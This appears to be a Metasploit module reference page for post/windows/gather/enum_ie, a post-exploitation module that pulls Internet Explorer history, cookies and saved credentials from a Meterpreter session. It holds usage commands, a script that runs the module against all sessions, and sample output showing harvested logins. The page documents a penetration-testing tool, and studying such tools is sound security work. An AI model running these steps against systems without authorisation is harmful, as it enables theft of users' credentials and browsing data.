Windows Gather Internet Explorer User Data Enumeration - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_ie metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Internet Explorer User Data Enumeration
Module: post/windows/gather/enum_ie
Source code: modules/post/windows/gather/enum_ie.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect history, cookies, and credentials (from either HTTP auth passwords, or saved form passwords found in auto-complete) in Internet Explorer. The ability to gather credentials is only supported for versions of IE >=7, while history and cookies can be extracted for all versions.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_ie

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_ie
msf post(enum_ie) > show options
    ... show and set options ...
msf post(enum_ie) > set SESSION session-id
msf post(enum_ie) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_ie")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.

Verification Steps


  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/enum_ie
  4. Do: set SESSION <session id>
  5. Do: run
  6. You should be able to see the extracted IE browser data in the loot files

Options


  • SESSION - The session to run the module on.

Extracted data


  • History
  • Cookies
  • Autocomplete data
  • Credentials (only for >= IE7)
    • HTTP auth credentials
    • Saved form credentials

Scenarios


Using the module with an earlier version than IE7 (IE6)

In this scenario the module won't be able to extract credential data.

  msf exploit(handler) > use post/windows/gather/enum_ie
  msf post(enum_ie) > set SESSION 1
  SESSION => 1
  msf post(enum_ie) > run

  [*] IE Version: 6.0.2900.5512
  [-] This module will only extract credentials for >= IE7
  [*] Retrieving history.....
          File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
  [*] Retrieving cookies.....
          File: C:\Documents and Settings\user\Cookies\index.dat
  [*] Looping through history to find autocomplete data....
  [-] No autocomplete entries found in registry
  [*] Looking in the Credential Store for HTTP Authentication Creds...
  [*] Writing history to loot...
  [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
  [*] Writing cookies to loot...
  [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
  [*] Post module execution completed

Using the module with IE7+ (IE8)

In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.

  msf exploit(handler) > use post/windows/gather/enum_ie
  msf post(enum_ie) > set SESSION 1
  SESSION => 1
  msf post(enum_ie) > run

  [*] IE Version: 8.0.7601.17514
  [*] Retrieving history.....
          File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
          File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
  [*] Retrieving cookies.....
          File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
          File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
  [*] Looping through history to find autocomplete data....
  [*] Looking in the Credential Store for HTTP Authentication Creds...
  [*] Writing history to loot...
  [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
  [*] Writing cookies to loot...
  [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
  [*] Writing gathered credentials to loot...
  [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt

  Credential data
  ===============

   Type           Url                                     User           Pass
   ----           ---                                     ----           ----
   Auto Complete  https://wordpresssite.net/wp-login.php  sampleUser     P455w0rd
   Auto Complete  https://wordpresssite.net/wp-login.php  sampleUser     P455w0rd

  [*] Post module execution completed

The extracted history data would in both scenarios for example look like this:

  History data
  ============

   Date Modified              Date Accessed              Url
   -------------              -------------              ---
   2011-11-20T23:59:02+00:00  2011-11-20T23:59:02+00:00  about:Home
   2016-10-31T14:42:05+00:00  2016-10-31T14:42:05+00:00  http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
   2016-10-31T14:42:06+00:00  2016-10-31T14:42:06+00:00  http://de.msn.com/?ocid=iefvrt
   2016-10-31T14:42:08+00:00  2016-10-31T14:42:08+00:00  http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
   2016-10-31T14:42:23+00:00  2016-10-31T14:42:23+00:00  http://www.msn.com/de-de?ocid=iefvrt
   2016-10-31T14:47:42+00:00  2016-10-31T14:47:42+00:00  file:///E:/text.txt

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/enum_ie post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_ie

msf6 post(windows/gather/enum_ie) > show info

       Name: Windows Gather Internet Explorer User Data Enumeration
     Module: post/windows/gather/enum_ie
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Kx499

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect history, cookies, and credentials (from 
  either HTTP auth passwords, or saved form passwords found in 
  auto-complete) in Internet Explorer. The ability to gather 
  credentials is only supported for versions of IE >=7, while history 
  and cookies can be extracted for all versions.

Module Options


This is a complete list of options available in the windows/gather/enum_ie post exploitation module:

msf6 post(windows/gather/enum_ie) > show options

Module options (post/windows/gather/enum_ie):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/enum_ie post exploitation module:

msf6 post(windows/gather/enum_ie) > show advanced

Module advanced options (post/windows/gather/enum_ie):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/enum_ie module can do:

msf6 post(windows/gather/enum_ie) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/enum_ie post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_ie) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error Decrypting


Here is a relevant code snippet related to the "Error Decrypting" error message:

65:	        str_data = raw
66:	      end
67:	    rescue
68:	      str_data = nil
69:	    end
70:	    return str_data || "Error Decrypting"
71:	  end
72:	
73:	  #
74:	  # DECRYPT FUNCTIONS
75:	  #

This module only works with Windows Meterpreter sessions


Here is a relevant code snippet related to the "This module only works with Windows Meterpreter sessions" error message:

206:	  end
207:	
208:	  def run
209:	    # check for meterpreter and version of ie
210:	    if session.type != "meterpreter" and session.platform !~ /win/
211:	      print_error("This module only works with Windows Meterpreter sessions")
212:	      return 0
213:	    end
214:	
215:	    # get version of ie and check it
216:	    ver = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer", "Version")

This module will only extract credentials for >= IE7


Here is a relevant code snippet related to the "This module will only extract credentials for >= IE7" error message:

214:	
215:	    # get version of ie and check it
216:	    ver = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer", "Version")
217:	    print_status("IE Version: #{ver}")
218:	    if ver =~ /(6\.|5\.)/
219:	      print_error("This module will only extract credentials for >= IE7")
220:	    end
221:	
222:	    # setup tables
223:	    @hist_table = Rex::Text::Table.new(
224:	      "Header" => "History data",

No autocomplete entries found in registry


Here is a relevant code snippet related to the "No autocomplete entries found in registry" error message:

335:	            cred_table << [cred["type"], cred["url"], cred["user"], cred["pass"]]
336:	          end
337:	        end
338:	      end
339:	    else
340:	      print_error("No autocomplete entries found in registry")
341:	    end
342:	
343:	    # get creds from credential store
344:	    print_status("Looking in the Credential Store for HTTP Authentication Creds...")
345:	    # get data from credential store

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Kx499

Version


This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.